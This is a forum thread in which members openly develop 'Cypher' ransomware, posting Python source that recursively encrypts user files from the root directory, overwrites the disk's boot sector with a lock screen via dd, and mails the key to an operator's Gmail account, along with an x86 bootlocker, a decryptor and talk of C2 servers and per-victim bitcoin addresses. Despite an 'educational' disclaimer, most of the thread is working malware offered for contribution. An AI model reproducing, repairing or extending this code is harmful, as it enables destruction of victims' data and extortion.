Active Development: Cypher Ransomware.
#1
###---UPDATE---###

Small update has been pushed to main encryption module in preparation of HTTP in favour of SMTP for C2.


Below i have posted the decrypting module i wrote, i've also updated the main encryption module with a minor bug fix. In order to restore everything to it's previous state i am also looking into some functionality to help with restoring the MBR.


###---ORIGINAL---###

As an active development project in the Scripted Languages sections i think it would be a good idea to focus our efforts on this project from underneath the GreySec umbrella. Please note that this is a current side project and not the main focus of the Dev team. What's more, this project is not representative of GreySec as a whole or the Dev team for that matter. That is to say, the purpose of GreySec and the Dev team is not to function as a malware factory. Instead, this is a project intended for experimental and educational purposes. As such i would advise against deploying this malware in active engagement. Thank you for your understanding.

Current state of the project: Active development.

Development focus: Alternative/secure C2 infrastructure, reliable delivery of bootlocker functionality.

Currently as you can see below the bootlocker is delivered with the ransomware and `dd` is called to overwrite the bootsector. We are looking into writing the bootlocker directly to disk instead. Any contribution you can provide in the form of thoughts, code examples or commits would be much appreciated. Below is the source of the project.


Code:
#!/usr/bin/env python2.7

# Cypher is a work in progress, as such this is an Alpha release of the encryption
# module, for reporting bugs feel free to open an issue or should you wish to
# collaborate on this, pull requests are welcomed as well.

import os
import sys
import random
import struct
import smtplib
import string
import datetime
import mechanize

import getpass as gp

from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from multiprocessing import Pool

# Function to generate our client ID
def gen_client_ID(size=12, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

# Set `SMTP` to False in order to force the program to use HTTP and it's own C&C infrastructure.
SMTP = True
ID = gen_client_ID(12)

# Check to see if we're on linux and have root, if so use dd to override the MBR with our bootlocker.
if sys.platform == 'linux2' and gp.getuser() == 'root':
    try:
        os.system("dd if=boot.bin of=/dev/hda bs=512 count=1 && exit")
    except:
        pass    
else:            
    try:
        os.system("sudo dd if=boot.bin of=/dev/hda bs=512 count=1 && exit")
    except:
        pass

def Key_Ops_HTTP():
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheaders = [('user-agent', '  Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3'),
    ('accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]

    try:
        br.open("http://127.0.0.1:8000/admin/login/?next=/admin/")
    except Exception as e:
        # print "[!]Critical, could not open page."
        # print "\n %s" % (e)
        pass
        
    br.form = list(br.forms())[0]
    br["username"] = "RansomBot"
    br["password"] = "prettyflypassw0rd"

    br.submit()
    # If log in was succesful retrieve key and post ID
    ###---@---###
    

def send_Key_SMTP():
    ts = datetime.datetime.now()
    SERVER = "smtp.gmail.com"         
    PORT = 587                         
    USER= "address@gmail.com"        # Specify Username Here
    PASS= "prettyflypassword"        # Specify Password Here
    FROM = USER
    TO = ["address@gmail.com"]         
    SUBJECT = "Ransomware data: "+str(ts)
    MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
    message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
    try:              
        server = smtplib.SMTP()
        server.connect(SERVER, PORT)
        server.starttls()
        server.login(USER, PASS)
        server.sendmail(FROM, TO, message)
        server.quit()
    except Exception as e:
        # print e
        pass



def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):

    if not out_filename:
        out_filename = in_filename + '.crypt'

    iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    filesize = os.path.getsize(in_filename)

    with open(in_filename, 'rb') as infile:
        with open(out_filename, 'wb') as outfile:
            outfile.write(struct.pack('<Q', filesize))
            outfile.write(iv)

            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += ' ' * (16 - len(chunk) % 16)

                outfile.write(encryptor.encrypt(chunk))
                
                

def single_arg_encrypt_file(in_filename):
    encrypt_file(key, in_filename)

def select_files():
    
    ext = [".3g2", ".3gp", ".asf", ".asx", ".avi", ".flv",
           ".m2ts", ".mkv", ".mov", ".mp4", ".mpg", ".mpeg",
           ".rm", ".swf", ".vob", ".wmv" ".docx", ".pdf",".rar",
           ".jpg", ".jpeg", ".png", ".tiff", ".zip", ".7z", ".exe",
           ".tar.gz", ".tar", ".mp3", ".sh", ".c", ".cpp", ".h",
           ".mov", ".gif", ".txt", ".py", ".pyc", ".jar"]
          
    files_to_enc = []
    for root, dirs, files in os.walk("/"):
        for file in files:
            if file.endswith(tuple(ext)):
                files_to_enc.append(os.path.join(root, file))

    # Parallelize execution of encryption function over four subprocesses
    pool = Pool(processes=4)
    pool.map(single_arg_encrypt_file, files_to_enc)
                

def note():
    
    readme = """
    
    .d8888b.                    888                      
    d88P  Y88b                   888                      
    888    888                   888                      
    888        888  888 88888b.  88888b.   .d88b.  888d888
    888        888  888 888 "88b 888 "88b d8P  Y8b 888P"  
    888    888 888  888 888  888 888  888 88888888 888    
    Y88b  d88P Y88b 888 888 d88P 888  888 Y8b.     888    
    "Y8888P"   "Y88888 88888P"  888  888  "Y8888  888    
                    888 888                                
             Y8b d88P 888                                
             "Y88P"  888    
    
    
    
    Hello, unfortunately all your personal files have been encrypted with millitary grade encryption and will be impossible
    to retrieve without aquiring the encryption key and decrypting binary.
    As of yet these are not available to you since the Cypher ransomware is still under construction.
    We thank you for your patience.

    Have a nice day,

    The Cypher Project."""     
    
    # Windows variant
    # outdir = os.getenv('USERNAME') + "\\Desktop"
    
    outdir = os.getenv('HOME') + "/Desktop/"
    outfile = outdir + "README"
    
    handler = open(outputfile, 'w')
    handler.write(outfile, ID)
    handler.close()
    
if __name__=="__main__":
    if SMTP == True:
        key = RSA.generate(2048)
        exKey = RSA.exportKey('PEM')
        send_Key_SMTP()
    else:
        Key_Ops_HTTP()
        
    select_files()
        
    try:    
        note()
    except Exception as e:
        # print e
        pass

Bootlocker source in ASM, thanks NO-OP!

Code:
[BITS 16]
[ORG 0x7C00]
MOV SI, Msg
CALL OutStr
JMP $
OutChar:
MOV AH, 0x0E
MOV BH, 0x00
MOV BL, 0x07
INT 0x10
RET
OutStr:
next_char:
MOV AL, [SI]
INC SI
OR AL, AL
JZ exit_function
CALL OutChar
JMP next_char
exit_function:
RET
Msg db 0xA, 0xD, 0xA, 0xD
   db '########################################################', 0xA, 0xD
   db '#   Your harddrive is encrypted with military grade    #', 0xA, 0xD
   db '#   encryption, you wont get your files back, since    #', 0xA, 0xD
   db '#  the Cypher ransomware is still under construction   #', 0xA, 0xD
   db '                                              ', 0xA, 0xD
   db '########################################################', 0xA, 0xD, 0xA, 0xD
   db 'Unfortunately there are only 7 days left until the encryption key is destroyed.', 0xA, 0xD, 0xA, 0xD
   db 'Have a nice day,', 0xA, 0xD
   db '     The Cypher Project', 0
TIMES 510 - ($ - $$) db 0
DW 0xAA55

Alternatively you can open issues and pull requests on the project's github page. Please note that you will be accredited for any commits you may provide, unless you specifically request not to be.

Original thread here.

Thanks.
Reply
#2
Just finished writing the decrypting module.

EDIT: I have added some comments to the code for clarity and a minor bug fix.

Code:
#!/usr/bin/env python2.7

import os
import sys
import struct

from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from multiprocessing import Pool

# Read in and decode keyfile
with open('privkey', 'r') as keyfile:
    keyData = keyfile.read().replace('\n', '')

keyDER = b64decode(keyData)    
key = RSA.importKey(keyDER)


def decrypt_file(key, in_filename, out_filename=None, chunksize=24*1024):

    # Split .crypt extension to restore file format
    if not out_filename:
        out_filename = os.path.splitext(in_filename)[0]

    with open(in_filename, 'rb') as infile:
        origsize = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
        iv = infile.read(16)
        decryptor = AES.new(key, AES.MODE_CBC, iv)

        with open(out_filename, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))
        
            # Truncate file to original size
            outfile.truncate(origsize)


def single_arg_decrypt_file(in_filename):
    decrypt_file(key, in_filename)


def select_files():
    # Files to be decrypted are identified by .crypt extension
    ext = ".crypt"
          
    files_to_dec = []
    for root, dirs, files in os.walk("/"):
        for file in files:
            if file.endswith(str(ext)):
                files_to_dec.append(os.path.join(root, file))
    
    # Parralelize execution of decrypting function over four sub processes
    pool = Pool(processes=4)
    pool.map(single_arg_decrypt_file, files_to_dec)


if __name__=="__main__":
    select_files()
Reply
#3
I was also thinking i might go with HTTP over SMTP as protocol to contact C2. Furthermore i would write a simple website to provide the encryption keys instead of generating them locally. I was thinking Django framework for the website and Mechanize as library to have the ransomware contact the website in question. If you have any thoughts or ideas to share with regards to this i would love to hear about them in this thread.
Reply
#4
At the moment i am working with the Django framework to set up a web app the ransomware can contact for retrieving and storing key pairs. Just going to go with Django admin for database administration for now. I got the basics set up, just need to sort out some bugs i have, i will be using sqllite DB at the backend, which is the standard format with Django. I am also researching how i can get the web app to generate RSA keypairs if you have any thoughts or contributions/commits/pull requests to provide in this regard, as per usual, feel free to do so. I will push the web app to the repo in due time.

I think i will make it optional to choose SMTP over HTTP if the operator prefers. I'll just have a boolean operator for that.

Code:
SMTP = False

if SMTP == True:
    smtp()
else:
    http()

Or something of the sort.
Reply
#5
Odd I had to change
Code:
files_to_dec.push(os.path.join(root, file))
from push to append. How is this working for people? Or was that the skid test?

Here's an idea, use something like https://github.com/weex/addrgen/blob/master/addrgen.py to generate a bitcoin address and use that as the private key to encrypt. Not really necessary, but one less thing to generate and one less db field to deal with if this was deployed (assuming you'd use one address per victim, again not really necessary, but probably safer).
Reply
#6
(12-07-2016, 04:08 AM)StickFigure Wrote: Odd I had to change
Code:
files_to_dec.push(os.path.join(root, file))
from push to append. How is this working for people? Or was that the skid test?

Here's an idea, use something like https://github.com/weex/addrgen/blob/master/addrgen.py to generate a bitcoin address and use that as the private key to encrypt. Not really necessary, but one less thing to generate and one less db field to deal with if this was deployed (assuming you'd use one address per victim, again not really necessary, but probably safer).

What error message were you getting? Because push is supposed to push the files to be decrypted to the

Code:
files_to_dec = []

Array, there is nothing to append to. Maybe, it could be this has something to do with the fact that i am selecting files by comparing them to a string instead of a tuple, like in the encryption module. Anyway, if you could post the error message if it's not too much trouble, i'll have a look.

Thanks for the bug report regardless, feel free to open an issue on github alternatively.

Also thanks for the bitcoin address generator as well, i'll definitely have a look into that.
Reply
#7
(12-07-2016, 05:17 PM)Vector Wrote:
Code:
files_to_dec = []

Array, there is nothing to append to. Maybe, it could be this has something to do with the fact that i am selecting files by comparing them to a string instead of a tuple, like in the encryption module. Anyway, if you could post the error message if it's not too much trouble, i'll have a look.

There's no issue with the comparison, it just doesn't like the push method. Weird man, everything I've read says there is no push.
https://stackoverflow.com/questions/1566...d-not-push
https://docs.python.org/2/library/array.html
Code:
Python 3.5.2 (default, Jun 28 2016, 08:46:01)
[GCC 6.1.1 20160602] on linux
>>> arr = []
>>> arr.push('foo')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'list' object has no attribute 'push'

Also unless you plan on banging it all out in one go you should post the web server/app code. I would tinker with it at least.

Also also, how do you plan on restoring the MBR? That whole business is a bit beyond my scope, interested nonetheless. Would you have to copy the current MBR somewhere else first? Or is it universal enough that you could put on a new one from scratch?
Reply
#8
(12-08-2016, 03:53 AM)StickFigure Wrote:
(12-07-2016, 05:17 PM)Vector Wrote:
Code:
files_to_dec = []

Array, there is nothing to append to. Maybe, it could be this has something to do with the fact that i am selecting files by comparing them to a string instead of a tuple, like in the encryption module. Anyway, if you could post the error message if it's not too much trouble, i'll have a look.

There's no issue with the comparison, it just doesn't like the push method. Weird man, everything I've read says there is no push.
https://stackoverflow.com/questions/1566...d-not-push
https://docs.python.org/2/library/array.html
Code:
Python 3.5.2 (default, Jun 28 2016, 08:46:01)
[GCC 6.1.1 20160602] on linux
>>> arr = []
>>> arr.push('foo')
Traceback (most recent call last):
 File "<stdin>", line 1, in <module>
AttributeError: 'list' object has no attribute 'push'

Also unless you plan on banging it all out in one go you should post the web server/app code. I would tinker with it at least.

Also also, how do you plan on restoring the MBR? That whole business is a bit beyond my scope, interested nonetheless. Would you have to copy the current MBR somewhere else first? Or is it universal enough that you could put on a new one from scratch?

Are you using the 3.x interpreter? That could be a problem. This project is written in 2.7, anyway, i am being retarded, i'll just update to append. Also sure, i will push what i have to github, feel free to work on it as you see fit. Remember, it's Django and python 2.7.

CNC Files are live on github. Check them out if you'd like to contribute. Also i am still not sure how i will restore the MBR grabbing a copy seems viable.
Reply
#9
Alright so to recap;
  • `push` updated to `append`.
  • Pushed Django related files to github.
  • Development focus is currently on C2 mechanism.
Reply
#10
(12-08-2016, 04:33 PM)Vector Wrote: Are you using the 3.x interpreter? That could be a problem. This project is written in 2.7, anyway, i am being retarded, i'll just update to append. Also sure, i will push what i have to github, feel free to work on it as you see fit. Remember, it's Django and python 2.7.

CNC Files are live on github. Check them out if you'd like to contribute. Also i am still not sure how i will restore the MBR grabbing a copy seems viable.

If your code fails on v3.x I would consider either having a comment in the code or some version detection that will exit the script with an error less vague than the v3.x error "AttributeError: 'list' object has no attribute 'push'"
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Welcome to the GS Development section. Apply here to join the Dev Team! Vector 20 33,382 07-16-2020, 08:36 PM
Last Post: Vector
  Mimir - OSINT Threat Intel Interface. (Active Dev - Assistance Requested) Vector 3 8,200 05-04-2017, 07:18 AM
Last Post: Vector